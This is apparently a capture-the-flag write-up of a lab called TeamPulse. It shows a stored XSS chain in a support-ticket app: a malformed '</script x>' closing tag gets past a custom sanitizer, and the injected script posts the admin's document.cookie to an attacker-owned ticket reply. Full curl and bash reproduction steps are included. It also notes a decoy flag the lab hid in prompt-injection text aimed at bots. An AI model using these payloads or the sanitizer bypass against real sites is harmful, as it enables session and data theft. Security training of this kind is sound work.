Lab 292 — TeamPulse — CSRF to Stored XSS Chain
Lab 292 — TeamPulse — CSRF to Stored XSS Chain
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-14 | Status: Solved Techniques: admin_bot_exploitation, custom_sanitizer_regex_bypass, decoy_flag_avoidance, html5_parser_malformed_endtag_tolerance, same_origin_cookie_exfiltration_via_ticket_reply, stored_xss_via_malformed_script_closing_tag, urlsearchparams_to_avoid_sanitizer_false_positive
Summary
Task: TeamPulse exposes a CSRF-prone ticket API and renders sanitized rich HTML for an admin bot. Solution: a malformed script closing tag bypasses the custom sanitizer, then same-origin replies exfiltrate the admin's readable flag cookie.
Lab 292 — TeamPulse — CSRF to Stored XSS Chain — hackadvisor
Description
Chain CSRF -> Stored XSS to steal admin cookies. Admin reviews new support tickets.
TeamPulse is a support-ticket application. An authenticated user can submit rich HTML in a ticket, and an administrator automatically reviews new tickets. The objective is to turn the weak request protections and unsafe HTML rendering into stored JavaScript execution in the administrator's browser, then recover the real flag from the administrator's cookies.
Application Analysis
The application was an Express service behind nginx. Ticket pages did not send a Content-Security-Policy, so successful sanitizer evasion could execute unrestricted same-origin JavaScript.
The important endpoints were:
| Endpoint | Behavior |
|---|---|
POST /api/tickets | Accepts JSON and application/x-www-form-urlencoded; creates a ticket without a CSRF token |
GET /tickets/:id | Renders ticket content as HTML after custom sanitization |
POST /api/tickets/:id/reply | Accepts a reply; output is HTML-escaped and visible to the ticket owner |
| |
The ticket form explicitly said that HTML formatting was supported and that an administrator would review submissions. This identified the ticket body as the intended stored-XSS sink.
The session cookie, connect.sid, had HttpOnly, Secure, and SameSite=Lax. JavaScript therefore could not read the session identifier. The administrator also had a separate, JavaScript-readable cookie containing the flag, which remained accessible through document.cookie.
CSRF properties
POST /api/tickets accepted form-encoded data and had no anti-CSRF token. That makes it a CSRF-prone state-changing endpoint and avoids a CORS preflight for a simple form submission. In this instance, however, SameSite=Lax prevented the session cookie from accompanying an ordinary cross-site POST. The reproducible exploit below therefore creates the malicious ticket through the attacker's authenticated session. The decisive chain is the stored XSS executed by the admin reviewer and the same-origin reply used for exfiltration.
Sanitizer Testing
The custom sanitizer removed the common payload families:
- conventional
<script>...</script>blocks; - ordinary
on*event handlers, including mixed-case and whitespace variants; javascript:URLs;iframe,object, andembedelements;- SVG
onloadand SMILonbegin/onendhandlers; - slash-separator variants such as
<svg/onload=...>.
The bypass was a malformed closing tag:
html read-only • copy allowed<script>CODE</script x>
The sanitizer expected a conventional </script> closing tag, so this input survived its pattern. Chrome's HTML parser nevertheless recognized </script x> as the end of the script element and executed CODE. This parser differential converted sanitized rich HTML into stored XSS.
Exfiltration Design
External callback infrastructure was unnecessary. The attacker owned another ticket and could read its replies. Because the injected code ran on the TeamPulse origin, it could send an authenticated POST directly to that receiver ticket. This is reliable because it avoids DNS, outbound-network restrictions, mixed-content issues, and CORS; the browser automatically applies the administrator's same-origin credentials.
The first payload attempted to send a literal form body:
javascript read-only • copy allowedbody:'content='+encodeURIComponent(document.cookie)
It was mangled because the sanitizer's overbroad event-handler regular expression matched the ontent= substring inside content=. Constructing the form body with URLSearchParams removed the dangerous literal equals sign from the source while still producing a correct form-encoded request:
html read-only • copy allowed<script>fetch('/api/tickets/10/reply',{method:'POST',body:new URLSearchParams({content:document.cookie})})</script x>
Reproducible Solution
The following commands use a cookie jar, create a fresh receiver ticket, submit the stored-XSS ticket, and poll only for the verified real-flag shape. Replace BASE if the lab instance changes.
1. Log in
bash read-only • copy allowedBASE='https://20864599-36bc-4b5a-adc7-2d05af7d290b.labs.hackadvisor.io' JAR='./cookies.txt' curl -sS -L -c "$JAR" -b "$JAR" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'email=user@test.com' \ --data-urlencode 'password=password123' \ "$BASE/login" >/dev/null
2. Create an attacker-owned receiver ticket
bash read-only • copy allowedRECEIVER_JSON=$(curl -sS -b "$JAR" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'title=XSS receiver' \ --data-urlencode 'content=Waiting for admin callback' \ --data-urlencode 'priority=low' \ "$BASE/api/tickets") RECEIVER_ID=$(printf '%s' "$RECEIVER_JSON" | jq -r '.id') printf 'receiver ticket: %s\n' "$RECEIVER_ID"
The solved instance used receiver ticket #10, but using the returned ID keeps the procedure reproducible.
3. Submit the stored-XSS ticket
Build the payload with printf so the receiver ID is inserted without introducing shell-quoting errors. --data-urlencode preserves the HTML and JavaScript exactly while encoding the outer HTTP form.
bash read-only • copy allowedPAYLOAD=$(printf \ "<script>fetch('/api/tickets/%s/reply',{method:'POST',body:new URLSearchParams({content:document.cookie})})</script x>" \ "$RECEIVER_ID") ATTACK_JSON=$(curl -sS -b "$JAR" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'title=Urgent account problem' \ --data-urlencode "content=$PAYLOAD" \ --data-urlencode 'priority=high' \ "$BASE/api/tickets") printf 'attack ticket: %s\n' "$(printf '%s' "$ATTACK_JSON" | jq -r '.id')"
In the verified run this produced high-priority ticket #70. The admin bot opened it, Chrome interpreted the malformed close tag as the script terminator, and the script POSTed document.cookie to receiver ticket #10.
4. Poll the receiver for only the real flag pattern
The application inserted a fake flag containing non-hex text into hidden HTML. Matching exactly 32 lowercase hexadecimal characters avoids accepting that decoy.
bash read-only • copy allowedwhile :; do PAGE=$(curl -sS -b "$JAR" "$BASE/tickets/$RECEIVER_ID") FLAG=$(printf '%s' "$PAGE" | perl -ne \ 'print "$1\n" if /(FLAG\{[0-9a-f]{32}\})/' | sort -u | sed -n '1p') if [ -n "$FLAG" ]; then printf '%s\n' "$FLAG" break fi sleep 2 done
The receiver reply contained:
text read-only • copy allowedflag=FLAG{REDACTED}
Dead Ends and Eliminated Hypotheses
- The hidden HTML-source flag is real: false.
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}appeared in hidden prompt-injection content and was a deliberate decoy. - A standard event handler or SVG SMIL bypass works: false. The sanitizer stripped ordinary
on*attributes and SMILonbegin/onendhandlers. - The DevTalk-style
<svg/onload>slash separator works: false. Slash-separator and related mixed-case/whitespace variants were removed here. connect.sidcan be stolen withdocument.cookie: false. It wasHttpOnly; the target was the separate readable flag cookie.- External exfiltration is required: false. A same-origin POST to an attacker-owned ticket reply was simpler and more reliable.
- A literal
content=body is safe inside the payload: false. The sanitizer matchedontent=as though it were an event-handler attribute.URLSearchParams({content:document.cookie})avoided that source substring.